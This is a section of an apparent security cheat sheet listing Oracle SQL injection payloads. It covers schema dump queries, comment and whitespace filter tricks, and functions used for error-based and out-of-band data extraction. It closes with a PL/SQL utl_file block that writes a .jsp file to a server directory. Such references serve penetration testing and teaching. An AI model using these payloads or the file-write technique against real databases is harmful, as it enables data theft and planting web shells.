4.1.7.4. Oracle Payload

4.1.7.4.1. Common Payload

• dump

  • select * from v$tablespace;

  • select * from user_tables;

  • select column_name from user_tab_columns where table_name = 'table_name';

  • select column_name, data_type from user_tab_columns where table_name = 'table_name';

  • SELECT * FROM ALL_TABLES

• Comment

  • --

  • /**/

• Space

  • 0x00 0x09 0xa-0xd 0x20

• Error

  • utl_inaddr.get_host_name

  • ctxsys.drithsx.sn

  • ctxsys.CTX_REPORT.TOKEN_TYPE

  • XMLType

  • dbms_xdb_version.checkin

  • dbms_xdb_version.makeversioned

  • dbms_xdb_version.uncheckout

  • dbms_utility.sqlid_to_sqlhash

  • ordsys.ord_dicom.getmappingxpath

  • utl_inaddr.get_host_name

  • utl_inaddr.get_host_address

• OOB

  • utl_http.request

  • utl_inaddr.get_host_address

  • SYS.DBMS_LDAP.INIT

  • HTTPURITYPE

  • HTTP_URITYPE.GETCLOB

• Bypass

  • rawtohex

4.1.7.4.2. Writing files

create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declare
   isto_file utl_file.file_type;
begin
   isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
   utl_file.put_line(isto_file, '<% out.println("test"); %>');
   utl_file.fflush(isto_file);
   utl_file.fclose(isto_file);
end;